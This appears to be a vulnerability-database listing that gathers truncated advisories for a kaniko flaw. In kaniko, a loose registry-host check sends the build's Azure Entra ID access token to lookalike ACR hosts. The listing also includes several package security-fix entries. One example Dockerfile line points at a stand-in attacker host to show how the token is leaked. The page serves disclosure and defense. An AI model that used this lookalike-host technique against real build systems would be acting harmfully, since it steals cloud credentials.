GO-2026-6902 kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts in github.com/chainguard-dev/kaniko

kaniko can send the build's Azure Entra ID access token to lookalike ACR registry hosts in github.com/chainguard-dev/kaniko...

EUVD-2026-115331

kaniko can send the build's Azure Entra ID access token to lookalike ACR registry hosts...

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary kaniko before v1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instructi...

GHSA-5Q7H-W9JF-CX97 kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary kaniko before v1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instructi...

CVE-2026-105769

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

CVE-2026-105769

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

CVE-2026-105769

Kaniko versions prior to 1.25.20 are vulnerable to a credential leakage flaw where it can send a Microsoft Entra ID (Azure AD) access token to an attacker-controlled registry. The root cause is the use of the docker-credential-acr-env helper, which employs an unanchored regular expression to iden...

CVE-2026-105769 kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

CVE-2026-105769 kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

CVE-2026-105769 kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

CVE-2026-105769: chainguard kaniko: kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an…

kaniko before 1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR regist...

PT-2026-135532

Name of the Vulnerable Software and Affected Versions kaniko versions prior to 1.25.20 Description kaniko may leak a Microsoft Entra ID Azure AD access token for Azure Resource Manager to an attacker-controlled registry host. This occurs because the Azure Container Registry credential helper...

CLEANSTART-2026-II22452 Security fix for GHSA-9h8m-3fm2-qjrq applied in: metrics-server-fips 0.8.1-r3, amazon-cloudwatch-agent 1.300065.0-r1, kaniko 1.24.0-r2, prometheus-adapter 0.12.0-r1, istio-fips 1.28.1-r1

GHSA-9h8m-3fm2-qjrq affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-UA27501 Security fix for GHSA-3xc5-wrhm-f963 applied in: argo-events 1.6.3-r1, grafana-alloy-fips 1.15.0-r1, kaniko 1.24.0-r2, argo-cd 3.3.5-r0, grafana-alloy-fips 1.14.2-r1

GHSA-3xc5-wrhm-f963 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-NM10451 Security fix for GHSA-xmrv-pmrh-hhx2 applied in: litestream 0.5.14-r1, kaniko 1.24.0-r2, flux-kustomize-controller-fips 1.8.5-r0, kyverno-policy-reporter-fips 3.7.3-r1, jitsucom-bulker 2.10.0-r0

GHSA-xmrv-pmrh-hhx2 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-IK31949 Security fix for GHSA-hfvc-g4fc-pqhx applied in: cosign 2.6.4-r1, metrics-server-fips 0.8.1-r3, amazon-cloudwatch-agent 1.300065.0-r1, trillian-fips 1.7.3-r1, kube-logging-operator 6.4.0-r1, kaniko 1.24.0-r2, prometheus-adapter 0.12.0-r1, trillian 1.7.3-r1, gotenberg 8.30.1-r0, kyverno-fips 1.13.6-r9, jitsucom-bulker 2.10.0-r0

GHSA-hfvc-g4fc-pqhx affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-KW07781 Security fix for GHSA-78h2-9frx-2jm8 applied in: step-ca 0.30.2-r1, step-ca 0.30.2-r2, step-ca-fips 0.30.2-r1, trillian-fips 1.7.3-r1, kaniko 1.24.0-r2, cert-manager 1.19.4-r1, opentofu-fips 1.9.4-r5, opentofu-fips 1.7.10-r5, opentofu-fips 1.8.11-r5, kyverno-fips 1.13.6-r9, jitsucom-bulker 2.10.0-r0

GHSA-78h2-9frx-2jm8 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-ZW70000 Security fix for GHSA-mh2q-q3fh-2475 applied in: step-ca 0.30.2-r1, step-ca 0.30.2-r2, step-ca-fips 0.30.2-r1, prometheus-operator 0.89.0-r1, litestream 0.5.14-r1, crossplane-provider-sql-fips 0.15.0-r2, crossplane-provider-sql-fips 0.15.0-r3, node-problem-detector 1.35.2-r1, cadvisor-fips 0.60.3-r1, consul-k8s-fips 1.8.14-r1, argo-events 1.6.3-r1, kube-logging-operator 6.4.0-r1, kaniko 1.24.0-r2, prometheus-operator 0.88.1-r0, kubernetes-csi-livenessprobe-fips 2.17.0-r2, modelmesh-runtime-adapter 0.12.0-r2

GHSA-mh2q-q3fh-2475 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-EN34682 Security fix for GHSA-m7cr-m3pv-hgrp applied in: argo-events 1.6.3-r1, kaniko 1.24.0-r2, argo-cd 3.3.5-r0

GHSA-m7cr-m3pv-hgrp affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-RT07102 Security fix for GHSA-crhj-59gh-8x96 applied in: argo-events 1.6.3-r1, kaniko 1.24.0-r2, argo-cd 3.3.5-r0

GHSA-crhj-59gh-8x96 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...